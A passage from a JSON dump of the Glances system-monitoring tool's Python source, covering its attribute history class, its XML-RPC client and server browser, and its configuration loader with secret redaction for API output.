sorted_by='cpu_percent', sorted_by_secondary='memory_percent'):\n        \"\"\"\n        Returns a list of the top processes sorted by specified criteria.\n\n        Args:\n            limit (int, optional): The maximum number of top processes to return. Defaults to 3.\n            sorted_by (str, optional): The primary key to sort processes by (e.g., 'cpu_percent').\n                                       Defaults to 'cpu_percent'.\n            sorted_by_secondary (str, optional): The secondary key to sort processes by if primary keys are equal\n                                                 (e.g., 'memory_percent'). Defaults to 'memory_percent'.\n\n        Returns:\n            list: A list of dictionaries representing the top processes, excluding those with 'glances' in their\n                  command line.\n\n        Note:\n            The 'glances' process is excluded from the returned list to avoid self-generated CPU load affecting\n            the results.\n        \"\"\"\n        # Exclude glances process from the top list\n        # because in fetch mode, Glances generate a CPU load\n        all_but_glances = [\n            p\n            for p in self._stats.get_plugin('processlist').get_raw()\n            if p['cmdline'] and 'glances' not in (p['cmdline'] or ())\n        ]\n        return sort_stats(all_but_glances, sorted_by=sorted_by, sorted_by_secondary=sorted_by_secondary)[:limit]\n"
  },
  {
    "path": "glances/attribute.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Attribute class.\"\"\"\n\nfrom datetime import datetime\n\n# Ugly hack waiting for Python 3.10 deprecation\ntry:\n    from datetime import UTC\nexcept ImportError:\n    from datetime import timezone\n\n    UTC = timezone.utc\n\n\nclass GlancesAttribute:\n    def __init__(self, name, description='', history_max_size=None):\n        \"\"\"Init the attribute\n\n        :param name: Attribute name (string)\n        :param description: Attribute human reading description (string)\n        :param history_max_size: Maximum size of the history list (default is no limit)\n\n        History is stored as a list for tuple: [(date, value), ...]\n        \"\"\"\n        self._name = name\n        self._description = description\n        self._value = None\n        self._history_max_size = history_max_size\n        self._history = []\n\n    def __repr__(self):\n        return self.value\n\n    def __str__(self):\n        return str(self.value)\n\n    \"\"\"\n    Properties for the attribute name\n    \"\"\"\n\n    @property\n    def name(self):\n        return self._name\n\n    @name.setter\n    def name(self, new_name):\n        self._name = new_name\n\n    \"\"\"\n    Properties for the attribute description\n    \"\"\"\n\n    @property\n    def description(self):\n        return self._description\n\n    @description.setter\n    def description(self, new_description):\n        self._description = new_description\n\n    \"\"\"\n    Properties for the attribute value\n    \"\"\"\n\n    @property\n    def value(self):\n        if self.history_len() > 0:\n            return (self._value[1] - self.history_value()[1]) / (self._value[0] - self.history_value()[0])\n        return None\n\n    @value.setter\n    def value(self, new_value):\n        \"\"\"Set a value.\n\n        Value is a tuple: (<timestamp>, <new_value>)\n        \"\"\"\n        self._value = (datetime.now(UTC), new_value)\n        self.history_add(self._value)\n\n    \"\"\"\n    Properties for the attribute history\n    \"\"\"\n\n    @property\n    def history(self):\n        return self._history\n\n    @history.setter\n    def history(self, new_history):\n        self._history = new_history\n\n    @history.deleter\n    def history(self):\n        del self._history\n\n    def history_reset(self):\n        self._history = []\n\n    def history_add(self, value):\n        \"\"\"Add a value in the history\"\"\"\n        if self._history_max_size:\n            if self.history_len() >= self._history_max_size:\n                self._history.pop(0)\n            self._history.append(value)\n\n    def history_size(self):\n        \"\"\"Return the history size (maximum number of value in the history)\"\"\"\n        return len(self._history)\n\n    def history_len(self):\n        \"\"\"Return the current history length\"\"\"\n        return len(self._history)\n\n    def history_value(self, pos=1):\n        \"\"\"Return the value in position pos in the history.\n\n        Default is to return the latest value added to the history.\n        \"\"\"\n        return self._history[-pos]\n\n    def history_raw(self, nb=0):\n        \"\"\"Return the history in ISO JSON format\"\"\"\n        return self._history[-nb:]\n\n    def history_json(self, nb=0):\n        \"\"\"Return the history in ISO JSON format\"\"\"\n        return [(i[0].isoformat(), i[1]) for i in self._history[-nb:]]\n\n    def history_mean(self, nb=5):\n        \"\"\"Return the mean on the <nb> values in the history.\"\"\"\n        _, v = zip(*self._history)\n        return sum(v[-nb:]) / float(v[-1] - v[-nb])\n"
  },
  {
    "path": "glances/client.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage the Glances client.\"\"\"\n\nimport sys\nimport time\n\nfrom defusedxml import xmlrpc\n\nfrom glances import __version__\nfrom glances.globals import json_loads\nfrom glances.logger import logger\nfrom glances.outputs.glances_curses import GlancesCursesClient\nfrom glances.outputs.glances_stdout import GlancesStdout\nfrom glances.outputs.glances_stdout_csv import GlancesStdoutCsv\nfrom glances.outputs.glances_stdout_fetch import GlancesStdoutFetch\nfrom glances.outputs.glances_stdout_json import GlancesStdoutJson\nfrom glances.stats_client import GlancesStatsClient\nfrom glances.timer import Counter\n\n# Correct issue #1025 by monkey path the xmlrpc lib\nxmlrpc.monkey_patch()\n\n\nclass GlancesClientTransport(xmlrpc.xmlrpc_client.Transport):\n    \"\"\"This class overwrite the default XML-RPC transport and manage timeout.\"\"\"\n\n    def set_timeout(self, timeout):\n        self.timeout = timeout\n\n\nclass GlancesClient:\n    \"\"\"This class creates and manages the TCP client.\"\"\"\n\n    def __init__(self, config=None, args=None, timeout=7, return_to_browser=False):\n        # Store the arg/config\n        self.args = args\n        self.config = config\n\n        self._quiet = args.quiet\n        self.refresh_time = args.time\n\n        # Default client mode\n        self._client_mode = 'glances'\n\n        # Return to browser or exit\n        self.return_to_browser = return_to_browser\n\n        # Build the URI\n        if args.password != \"\":\n            self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'\n        else:\n            self.uri = f'http://{args.client}:{args.port}'\n\n        # Avoid logging user credentials\n        logger.debug(f\"Try to connect to 'http://{args.client}:{args.port}'\")\n\n        # Try to connect to the URI\n        transport = GlancesClientTransport()\n        # Configure the server timeout\n        transport.set_timeout(timeout)\n        try:\n            self.client = xmlrpc.xmlrpc_client.ServerProxy(self.uri, transport=transport)\n        except Exception as e:\n            # Do not log self.uri here because it may contain credentials\n            self.log_and_exit(f\"Client couldn't create socket to http://{args.client}:{args.port}: {e}\")\n\n    @property\n    def quiet(self):\n        return self._quiet\n\n    def log_and_exit(self, msg=''):\n        \"\"\"Log and exit.\"\"\"\n        if not self.return_to_browser:\n            logger.critical(f\"Error when connecting to Glances server: {msg}\")\n            sys.exit(2)\n        else:\n            logger.error(msg)\n\n    @property\n    def client_mode(self):\n        \"\"\"Get the client mode.\"\"\"\n        return self._client_mode\n\n    @client_mode.setter\n    def client_mode(self, mode):\n        \"\"\"Set the client mode.\n\n        - 'glances' = Glances server (default)\n        - 'snmp' = SNMP (fallback)\n        \"\"\"\n        self._client_mode = mode\n\n    def _login_glances(self):\n        \"\"\"Login to a Glances server\"\"\"\n        client_version = None\n        try:\n            client_version = self.client.init()\n        except OSError as err:\n            # Fallback to SNMP\n            self.client_mode = 'snmp'\n            logger.error(f\"Connection to Glances server failed ({err.errno} {err.strerror})\")\n            fall_back_msg = 'No Glances server found. Trying fallback to SNMP...'\n            if not self.return_to_browser:\n                print(fall_back_msg)\n            else:\n                logger.info(fall_back_msg)\n        except xmlrpc.xmlrpc_client.ProtocolError as err:\n            # Other errors\n            msg = f\"Connection to server {self.uri} failed\"\n            if err.errcode == 401:\n                msg += \" (Bad username/password)\"\n            else:\n                msg += f\" ({err.errcode} {err.errmsg})\"\n            self.log_and_exit(msg)\n            return False\n\n        if self.client_mode == 'glances':\n            # Check that both client and server are in the same major version\n            if __version__.split('.')[0] == client_version.split('.')[0]:\n                # Init stats\n                self.stats = GlancesStatsClient(config=self.config, args=self.args)\n                self.stats.set_plugins(json_loads(self.client.getAllPlugins()))\n                logger.debug(f\"Client version: {__version__} / Server version: {client_version}\")\n            else:\n                self.log_and_exit(\n                    'Client and server not compatible: '\n                    f'Client version: {__version__} / Server version: {client_version}'\n                )\n                return False\n\n        return True\n\n    def _login_snmp(self):\n        \"\"\"Login to a SNMP server\"\"\"\n        logger.info(\"Trying to grab stats by SNMP...\")\n\n        from glances.stats_client_snmp import GlancesStatsClientSNMP\n\n        # Init stats\n        self.stats = GlancesStatsClientSNMP(config=self.config, args=self.args)\n\n        if not self.stats.check_snmp():\n            self.log_and_exit(\"Connection to SNMP server failed\")\n            return False\n\n        return True\n\n    def login(self):\n        \"\"\"Logon to the server.\"\"\"\n\n        if self.args.snmp_force:\n            # Force SNMP instead of Glances server\n            self.client_mode = 'snmp'\n        else:\n            # First of all, trying to connect to a Glances server\n            if not self._login_glances():\n                return False\n\n        # Try SNMP mode\n        if self.client_mode == 'snmp':\n            if not self._login_snmp():\n                return False\n\n        # Load limits from the configuration file\n        # Each client can choose its owns limits\n        logger.debug(\"Load limits from the client configuration file\")\n        self.stats.load_limits(self.config)\n\n        # Init screen\n        if self.quiet:\n            # In quiet mode, nothing is displayed\n            logger.info(\"Quiet mode is ON: Nothing will be displayed\")\n        elif self.args.stdout:\n            logger.info(f\"Stdout mode is ON, following stats will be displayed: {self.args.stdout}\")\n            # Init screen\n            self.screen = GlancesStdout(config=self.config, args=self.args)\n        elif self.args.stdout_json:\n            logger.info(f\"Stdout JSON mode is ON, following stats will be displayed: {self.args.stdout_json}\")\n            # Init screen\n            self.screen = GlancesStdoutJson(config=self.config, args=self.args)\n        elif self.args.stdout_csv:\n            logger.info(f\"Stdout CSV mode is ON, following stats will be displayed: {self.args.stdout_csv}\")\n            # Init screen\n            self.screen = GlancesStdoutCsv(config=self.config, args=self.args)\n        elif self.args.stdout_fetch:\n            logger.info(\"Fetch mode is ON\")\n            self.screen = GlancesStdoutFetch(config=self.config, args=self.args)\n        else:\n            self.screen = GlancesCursesClient(config=self.config, args=self.args)\n\n        # Return True: OK\n        return True\n\n    def update(self):\n        \"\"\"Update stats from Glances/SNMP server.\"\"\"\n        if self.client_mode == 'glances':\n            return self.update_glances()\n        if self.client_mode == 'snmp':\n            return self.update_snmp()\n\n        self.end()\n        logger.critical(f\"Unknown server mode: {self.client_mode}\")\n        sys.exit(2)\n\n    def update_glances(self):\n        \"\"\"Get stats from Glances server.\n\n        Return the client/server connection status:\n        - Connected: Connection OK\n        - Disconnected: Connection NOK\n        \"\"\"\n        # Update the stats\n        try:\n            server_stats = json_loads(self.client.getAll())\n        except OSError:\n            # Client cannot get server stats\n            return \"Disconnected\"\n        except xmlrpc.xmlrpc_client.Fault:\n            # Client cannot get server stats (issue #375)\n            return \"Disconnected\"\n        else:\n            # Put it in the internal dict\n            self.stats.update(server_stats)\n            return \"Connected\"\n\n    def update_snmp(self):\n        \"\"\"Get stats from SNMP server.\n\n        Return the client/server connection status:\n        - SNMP: Connection with SNMP server OK\n        - Disconnected: Connection NOK\n        \"\"\"\n        # Update the stats\n        try:\n            self.stats.update()\n        except Exception:\n            # Client cannot get SNMP server stats\n            return \"Disconnected\"\n        else:\n            # Grab success\n            return \"SNMP\"\n\n    def serve_forever(self):\n        \"\"\"Main client loop.\"\"\"\n\n        # Test if client and server are in the same major version\n        if not self.login():\n            logger.critical(\"The server version is not compatible with the client\")\n            self.end()\n            return self.client_mode\n\n        exit_key = False\n\n        try:\n            while True and not exit_key:\n                # Update the stats\n                counter = Counter()\n                cs_status = self.update()\n                logger.debug(f'Stats updated duration: {counter.get()} seconds')\n\n                # Export stats using export modules\n                counter_export = Counter()\n                self.stats.export(self.stats)\n                logger.debug(f'Stats exported duration: {counter_export.get()} seconds')\n\n                # Patch for issue1326 to avoid < 0 refresh\n                adapted_refresh = self.refresh_time - counter.get()\n                adapted_refresh = adapted_refresh if adapted_refresh > 0 else 0\n\n                # Update the screen\n                if not self.quiet:\n                    exit_key = self.screen.update(\n                        self.stats,\n                        duration=adapted_refresh,\n                        cs_status=cs_status,\n                        return_to_browser=self.return_to_browser,\n                    )\n                else:\n                    # In quiet mode, we only wait adapated_refresh seconds\n                    time.sleep(adapted_refresh)\n        except Exception:\n            logger.critical(\"Critical error in client serve_forever loop\")\n            self.end()\n\n        return self.client_mode\n\n    def end(self):\n        \"\"\"End of the client session.\"\"\"\n        if not self.quiet:\n            self.screen.end()\n"
  },
  {
    "path": "glances/client_browser.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage the Glances client browser (list of Glances server).\"\"\"\n\nimport webbrowser\n\nfrom glances.client import GlancesClient\nfrom glances.logger import LOG_FILENAME, logger\nfrom glances.outputs.glances_curses_browser import GlancesCursesBrowser\nfrom glances.servers_list import GlancesServersList\n\n\nclass GlancesClientBrowser:\n    \"\"\"This class creates and manages the TCP client browser (servers list).\"\"\"\n\n    def __init__(self, config=None, args=None):\n        # Store the arg/config\n        self.args = args\n        self.config = config\n\n        # Init the server list\n        self.servers_list = GlancesServersList(config=config, args=args)\n\n        # Init screen\n        self.screen = GlancesCursesBrowser(args=self.args)\n\n    def __display_server(self, server):\n        \"\"\"Connect and display the given server\"\"\"\n        # Display the Glances client for the selected server\n        logger.debug(f\"Selected server {server}\")\n\n        if server['protocol'].lower() == 'rest':\n            # Display a popup\n            self.screen.display_popup(\n                'Open the WebUI {}:{} in a Web Browser'.format(server['name'], server['port']), duration=1\n            )\n            # Try to open a Webbrowser\n            webbrowser.open(self.servers_list.get_uri(server), new=2, autoraise=1)\n            self.screen.active_server = None\n            return\n\n        # Connection can take time\n        # Display a popup\n        self.screen.display_popup('Connect to {}:{}'.format(server['name'], server['port']), duration=1)\n\n        # A password is needed to access to the server's stats\n        if server['password'] is None:\n            # First of all, check if a password is available in the [passwords] section\n            # Use _get_preconfigured_password to avoid leaking saved/default credentials\n            # to untrusted dynamic (Zeroconf) server entries\n            clear_password = self.servers_list._get_preconfigured_password(server)\n            if (\n                clear_password is None\n                or self.servers_list.get_servers_list()[self.screen.active_server]['status'] == 'PROTECTED'\n            ):\n                # Else, the password should be enter by the user\n                # Display a popup to enter password\n                clear_password = self.screen.display_popup(\n                    'Password needed for {}: '.format(server['name']), popup_type='input', is_password=True\n                )\n            # Store the password for the selected server\n            if clear_password is not None:\n                self.set_in_selected('password', self.servers_list.password.get_hash(clear_password))\n\n        # Display the Glance client on the selected server\n        logger.info(\"Connect Glances client to the {} server\".format(server['key']))\n\n        # Init the client\n        args_server = self.args\n\n        # Overwrite connection setting\n        args_server.client = server['ip']\n        args_server.port = server['port']\n        args_server.username = server['username']\n        args_server.password = server['password']\n        client = GlancesClient(config=self.config, args=args_server, return_to_browser=True)\n\n        # Test if client and server are in the same major version\n        if not client.login():\n            self.screen.display_popup(\n                \"Sorry, cannot connect to '{}'\\nSee '{}' for more details\".format(server['name'], LOG_FILENAME)\n            )\n\n            # Set the ONLINE status for the selected server\n            self.set_in_selected('status', 'OFFLINE')\n        else:\n            # Start the client loop\n            # Return connection type: 'glances' or 'snmp'\n            connection_type = client.serve_forever()\n\n            try:\n                logger.debug(\"Disconnect Glances client from the {} server\".format(server['key']))\n            except IndexError:\n                # Server did not exist anymore\n                pass\n            else:\n                # Set the ONLINE status for the selected server\n                if connection_type == 'snmp':\n                    self.set_in_selected('status', 'SNMP')\n                else:\n                    self.set_in_selected('status', 'ONLINE')\n\n        # Return to the browser (no server selected)\n        self.screen.active_server = None\n\n    def __serve_forever(self):\n        \"\"\"Main client loop.\"\"\"\n        # No need to update the server list\n        while not self.screen.is_end:\n            # Update the stats in the servers list\n            self.servers_list.update_servers_stats()\n\n            if self.screen.active_server is None:\n                # Display Glances browser (servers list)\n                self.screen.update(self.servers_list.get_servers_list())\n            else:\n                # Display selected Glances server\n                self.__display_server(self.servers_list.get_servers_list()[self.screen.active_server])\n\n    def serve_forever(self):\n        \"\"\"Wrapper to the serve_forever function.\n\n        This function will restore the terminal to a sane state\n        before re-raising the exception and generating a traceback.\n        \"\"\"\n        try:\n            return self.__serve_forever()\n        finally:\n            self.end()\n\n    def set_in_selected(self, key, value):\n        \"\"\"Set the (key, value) for the selected server in the list.\"\"\"\n        self.servers_list.set_in_selected(self.screen.active_server, key, value)\n\n    def end(self):\n        \"\"\"End of the client browser session.\"\"\"\n        self.screen.end()\n"
  },
  {
    "path": "glances/config.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage the configuration file.\"\"\"\n\nimport builtins\nimport multiprocessing\nimport os\nimport re\nimport sys\n\nfrom glances.globals import BSD, LINUX, MACOS, SUNOS, WINDOWS, ConfigParser, NoOptionError, NoSectionError, system_exec\nfrom glances.logger import logger\n\n# Sections entirely blocked from the secure view\n_SECURE_BLOCKED_SECTIONS = frozenset(\n    {\n        \"passwords\",\n    }\n)\n\n# Key name patterns redacted in any section\n_SECURE_SENSITIVE_KEY_RE = re.compile(\n    r\"password|token|secret|api_key|apikey|ssl_keyfile\",\n    re.IGNORECASE,\n)\n\n\ndef user_config_dir():\n    r\"\"\"Return a list of per-user config dir (full path).\n\n    - Linux, *BSD, SunOS: ~/.config/glances\n    - macOS: ~/Library/Application Support/glances\n    - Windows: %APPDATA%\\glances\n    \"\"\"\n    paths = []\n    if WINDOWS:\n        paths.append(os.environ.get('APPDATA'))\n    elif MACOS:\n        paths.append(os.environ.get('XDG_CONFIG_HOME') or os.path.expanduser('~/.config'))\n        paths.append(os.path.expanduser('~/Library/Application Support'))\n    else:\n        paths.append(os.environ.get('XDG_CONFIG_HOME') or os.path.expanduser('~/.config'))\n\n    return [os.path.join(path, 'glances') if path is not None else '' for path in paths]\n\n\ndef user_cache_dir():\n    r\"\"\"Return a list of per-user cache dir (full path).\n\n    - Linux, *BSD, SunOS: ~/.cache/glances\n    - macOS: ~/Library/Caches/glances\n    - Windows: {%LOCALAPPDATA%,%APPDATA%}\\glances\\cache\n    \"\"\"\n    if WINDOWS:\n        path = os.path.join(os.environ.get('LOCALAPPDATA') or os.environ.get('APPDATA'), 'glances', 'cache')\n    elif MACOS:\n        path = os.path.expanduser('~/Library/Caches/glances')\n    else:\n        path = os.path.join(os.environ.get('XDG_CACHE_HOME') or os.path.expanduser('~/.cache'), 'glances')\n\n    return [path]\n\n\ndef system_config_dir():\n    r\"\"\"Return a list of system-wide config dir (full path).\n\n    - Linux, SunOS: /etc/glances\n    - *BSD, macOS: /usr/local/etc/glances\n    - Windows: %APPDATA%\\glances\n    \"\"\"\n    if LINUX or SUNOS:\n        path = '/etc'\n    elif BSD or MACOS:\n        path = '/usr/local/etc'\n    else:\n        path = os.environ.get('APPDATA')\n    if path is None:\n        path = ''\n    else:\n        path = os.path.join(path, 'glances')\n\n    return [path]\n\n\ndef default_config_dir():\n    r\"\"\"Return a list of system-wide config dir (full path).\n\n    - Linux, SunOS, *BSD, macOS: /usr/share/doc (as defined in the setup.py files)\n    - Windows: %APPDATA%\\glances\n    \"\"\"\n    paths = []\n\n    # Add system path\n    if LINUX or SUNOS or BSD or MACOS:\n        paths.append(os.path.join(sys.prefix, 'share', 'doc'))\n    else:\n        paths.append(os.environ.get('APPDATA'))\n\n    # If we are in venv (issue #2803), sys.prefix != sys.base_prefix and we\n    # already added venv path with sys.prefix. Add base_prefix path too\n    if in_virtualenv():\n        paths.append(os.path.join(sys.base_prefix, 'share', 'doc'))\n\n    return [os.path.join(path, 'glances') if path is not None else '' for path in paths]\n\n\ndef in_virtualenv():\n    # Source: https://stackoverflow.com/questions/1871549/how-to-determine-if-python-is-running-inside-a-virtualenv/1883251#1883251\n    return sys.prefix != get_base_prefix_compat()\n\n\ndef get_base_prefix_compat():\n    \"\"\"Get base/real prefix, or sys.prefix if there is none.\"\"\"\n    # Source: https://stackoverflow.com/questions/1871549/how-to-determine-if-python-is-running-inside-a-virtualenv/1883251#1883251\n    return getattr(sys, \"base_prefix\", None) or getattr(sys, \"real_prefix\", None) or sys.prefix\n\n\nclass Config:\n    \"\"\"This class is used to access/read config file, if it exists.\n\n    :param config_dir: the path to search for config file\n    :type config_dir: str or None\n    \"\"\"\n\n    def __init__(self, config_dir=None):\n        self.config_dir = config_dir\n        self.config_filename = 'glances.conf'\n        self._loaded_config_file = None\n        self._config_file_paths = self.config_file_paths()\n\n        # Re pattern for optimize research of `foo`\n        self.re_pattern = re.compile(r'(\\`.+?\\`)')\n\n        try:\n            self.parser = ConfigParser(interpolation=None)\n        except TypeError:\n            self.parser = ConfigParser()\n\n        self.read()\n\n    def config_file_paths(self):\n        r\"\"\"Get a list of config file paths.\n\n        The list is built taking into account of the OS, priority and location.\n\n        * custom path: /path/to/glances\n        * Linux, SunOS: ~/.config/glances, /etc/glances\n        * *BSD: ~/.config/glances, /usr/local/etc/glances\n        * macOS: ~/.config/glances, ~/Library/Application Support/glances, /usr/local/etc/glances\n        * Windows: %APPDATA%\\glances\n\n        The config file will be searched in the following order of priority:\n            * /path/to/file (via -C flag)\n            * user's home directory (per-user settings)\n            * system-wide directory (system-wide settings)\n            * default pip directory (as defined in the setup.py file)\n        \"\"\"\n        paths = []\n\n        # self.config_dir is the path to the config file (via -C flag)\n        if self.config_dir:\n            paths.append(self.config_dir)\n\n        # user_config_dir() returns a list of paths\n        paths.extend([os.path.join(path, self.config_filename) for path in user_config_dir()])\n\n        # system_config_dir() returns a list of paths\n        paths.extend([os.path.join(path, self.config_filename) for path in system_config_dir()])\n\n        # default_config_dir() returns a list of paths\n        paths.extend([os.path.join(path, self.config_filename) for path in default_config_dir()])\n\n        return paths\n\n    def read(self):\n        \"\"\"Read the config file, if it exists. Using defaults otherwise.\"\"\"\n        for config_file in self._config_file_paths:\n            logger.debug(f'Search glances.conf file in {config_file}')\n            if os.path.exists(config_file):\n                try:\n                    with builtins.open(config_file, encoding='utf-8') as f:\n                        self.parser.read_file(f)\n                        self.parser.read(f)\n                    logger.info(f\"Read configuration file '{config_file}'\")\n                except UnicodeDecodeError as err:\n                    logger.error(f\"Can not read configuration file '{config_file}': {err}\")\n                    sys.exit(1)\n                # Save the loaded configuration file path (issue #374)\n                self._loaded_config_file = config_file\n                break\n\n        # Set the default values for section not configured\n        self.sections_set_default()\n\n    def sections_set_default(self):\n        # Globals\n        if not self.parser.has_section('global'):\n            self.parser.add_section('global')\n        self.set_default('global', 'strftime_format', '')\n        self.set_default('global', 'check_update', 'true')\n\n        # Quicklook\n        if not self.parser.has_section('quicklook'):\n            self.parser.add_section('quicklook')\n        self.set_default_cwc('quicklook', 'cpu')\n        self.set_default_cwc('quicklook', 'mem')\n        self.set_default_cwc('quicklook', 'swap')\n\n        # CPU\n        if not self.parser.has_section('cpu'):\n            self.parser.add_section('cpu')\n        self.set_default_cwc('cpu', 'user')\n        self.set_default_cwc('cpu', 'system')\n        self.set_default_cwc('cpu', 'steal')\n        # By default I/O wait should be lower than 1/number of CPU cores\n        iowait_bottleneck = (1.0 / multiprocessing.cpu_count()) * 100.0\n        self.set_default_cwc(\n            'cpu',\n            'iowait',\n            [\n                str(iowait_bottleneck - (iowait_bottleneck * 0.20)),\n                str(iowait_bottleneck - (iowait_bottleneck * 0.10)),\n                str(iowait_bottleneck),\n            ],\n        )\n        # Context switches bottleneck identification #1212\n        ctx_switches_bottleneck = (500000 * 0.10) * multiprocessing.cpu_count()\n        self.set_default_cwc(\n            'cpu',\n            'ctx_switches',\n            [\n                str(ctx_switches_bottleneck - (ctx_switches_bottleneck * 0.20)),\n                str(ctx_switches_bottleneck - (ctx_switches_bottleneck * 0.10)),\n                str(ctx_switches_bottleneck),\n            ],\n        )\n\n        # Per-CPU\n        if not self.parser.has_section('percpu'):\n            self.parser.add_section('percpu')\n        self.set_default_cwc('percpu', 'user')\n        self.set_default_cwc('percpu', 'system')\n\n        # Load\n        if not self.parser.has_section('load'):\n            self.parser.add_section('load')\n        self.set_default_cwc('load', cwc=['0.7', '1.0', '5.0'])\n\n        # Mem\n        if not self.parser.has_section('mem'):\n            self.parser.add_section('mem')\n        self.set_default_cwc('mem')\n\n        # Swap\n        if not self.parser.has_section('memswap'):\n            self.parser.add_section('memswap')\n        self.set_default_cwc('memswap')\n\n        # NETWORK\n        if not self.parser.has_section('network'):\n            self.parser.add_section('network')\n        self.set_default_cwc('network', 'rx')\n        self.set_default_cwc('network', 'tx')\n\n        # FS\n        if not self.parser.has_section('fs'):\n            self.parser.add_section('fs')\n        self.set_default_cwc('fs')\n\n        # Sensors\n        if not self.parser.has_section('sensors'):\n            self.parser.add_section('sensors')\n        self.set_default_cwc('sensors', 'temperature_hdd', cwc=['45', '52', '60'])\n        self.set_default_cwc('sensors', 'battery', cwc=['70', '80', '90'])\n\n        # Process list\n        if not self.parser.has_section('processlist'):\n            self.parser.add_section('processlist')\n        self.set_default_cwc('processlist', 'cpu')\n        self.set_default_cwc('processlist', 'mem')\n\n    @property\n    def loaded_config_file(self):\n        \"\"\"Return the loaded configuration file.\"\"\"\n        return self._loaded_config_file\n\n    def as_dict(self):\n        \"\"\"Return the configuration as a dict\"\"\"\n        dictionary = {}\n        for section in self.parser.sections():\n            dictionary[section] = {}\n            for option in self.parser.options(section):\n                dictionary[section][option] = self.parser.get(section, option)\n        return dictionary\n\n    def as_dict_secure(self):\n        \"\"\"Return a sanitised copy of the configuration dict.\n\n        Intended for unauthenticated API access.\n        - Blocked sections are omitted entirely.\n        - Sensitive keys in remaining sections are replaced by '********'.\n        \"\"\"\n        sanitized = {}\n        for section, options in self.as_dict().items():\n            if section in _SECURE_BLOCKED_SECTIONS:\n                continue\n            sanitized[section] = {\n                key: \"********\" if _SECURE_SENSITIVE_KEY_RE.search(key) else value for key, value in options.items()\n            }\n        return sanitized\n\n    def sections(self):\n        \"\"\"Return a list of all sections.\"\"\"\n        return self.parser.sections()\n\n    def items(self, section):\n        \"\"\"Return the items list of a section.\"\"\"\n        return self.parser.items(section)\n\n    def has_section(self, section):\n        \"\"\"Return info about the existence of a section.\"\"\"\n        return self.parser.has_section(section)\n\n    def set_default_cwc(self, section, option_header=None, cwc=['50', '70', '90']):\n        \"\"\"Set default values for careful, warning and critical.\"\"\"\n        if option_header is None:\n            header = ''\n        else:\n            header = option_header + '_'\n        self.set_default(section, header + 'careful', cwc[0])\n        self.set_default(section, header + 'warning', cwc[1])\n        self.set_default(section, header + 'critical', cwc[2])\n\n    def set_default(self, section, option, default):\n        \"\"\"If the option did not exist, create a default value.\"\"\"\n        if not self.parser.has_option(section, option):\n            self.parser.set(section, option, default)\n\n    def get_value(self, section, option, default=None):\n        \"\"\"Get the value of an option, if it exists.\n\n        If it did not exist, then return the default value.\n\n        It allows user to define dynamic configuration key (see issue#1204)\n        Dynamic value should starts and end with the ` char\n        Example: prefix=`hostname`\n        \"\"\"\n        ret = default\n        try:\n            ret = self.parser.get(section, option)\n        except (NoOptionError, NoSectionError):\n            pass\n\n        # Search a substring `foo` and replace it by the result of its exec\n        if ret is not None:\n            try:\n                match = self.re_pattern.findall(ret)\n                for m in match:\n                    ret = ret.replace(m, system_exec(m[1:-1]))\n            except TypeError:\n                pass\n        return ret\n\n    def get_list_value(self, section, option, default=None, separator=','):\n        \"\"\"Get the list value of an option, if it exists.\"\"\"\n        try:\n            return self.parser.get(section, option).split(separator)\n        except (NoOptionError, NoSectionError):\n            return default\n\n    def get_int_value(self, section, option, default=0):\n        \"\"\"Get the int value of an option, if it exists.\"\"\"\n        try:\n            return self.parser.getint(section, option)\n        except (NoOptionError, NoSectionError):\n            return int(default)\n\n    def get_float_value(self, section, option, default=0.0):\n        \"\"\"Get the float value of an option, if it exists.\"\"\"\n        try:\n            return self.parser.getfloat(section, option)\n        except (NoOptionError, NoSectionError):\n            return float(default)\n\n    def get_bool_value(self, section, option, default=True):\n        \"\"\"Get the bool value of an option, if it exists.\"\"\"\n        try:\n            return self.parser.getboolean(section, option)\n        except (NoOptionError, NoSectionError):\n            return bool(default)\n"
  },
  {
    "path": "glances/cpu_percent.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"CPU percent stats shared between CPU and Quicklook plugins.\"\"\"\n\nimport platform\nfrom typing import TypedDict\n\nimport psutil\n\nfrom glances.logger import logger\nfrom glances.timer import Timer\n\n__all__ = [\"cpu_percent\"]\n\nCPU_IMPLEMENTERS = {\n    0x41: 'ARM Limited',\n    0x42: 'Broadcom',\n    0x43: 'Cavium',\n    0x44: 'DEC',\n    0x46: 'Fujitsu',\n    0x48: 'HiSilicon',\n    0x49: 'Infineon Technologies',\n    0x4D: 'Motorola/Freescale',\n    0x4E: 'NVIDIA',\n    0x50: 'Applied Micro (APM)',\n    0x51: 'Qualcomm',\n    0x53: 'Samsung',\n    0x56: 'Marvell',\n    0x61: 'Apple',\n    0x66: 'Faraday',\n    0x69: 'Intel',\n    0x6D: 'Microsoft',\n    0x70: 'Phytium',\n    0xC0: 'Ampere Computing',\n}\n\nCPU_PARTS = {\n    # ARM Limited (0x41)\n    0x41: {\n        0xD03: 'Cortex-A53',\n        0xD04: 'Cortex-A35',\n        0xD05: 'Cortex-A55',\n        0xD06: 'Cortex-A65',\n        0xD07: 'Cortex-A57',\n        0xD08: 'Cortex-A72',\n        0xD09: 'Cortex-A73',\n        0xD0A: 'Cortex-A75',\n        0xD0B: 'Cortex-A76',\n        0xD0C: 'Neoverse N1',\n        0xD0D: 'Cortex-A77',\n        0xD0E: 'Cortex-A76AE',\n        0xD13: 'Cortex-R52',\n        0xD20: 'Cortex-M23',\n        0xD21: 'Cortex-M33',\n        0xD40: 'Neoverse V1',\n        0xD41: 'Cortex-A78',\n        0xD42: 'Cortex-A78AE',\n        0xD43: 'Cortex-A65AE',\n        0xD44: 'Cortex-X1',\n        0xD46: 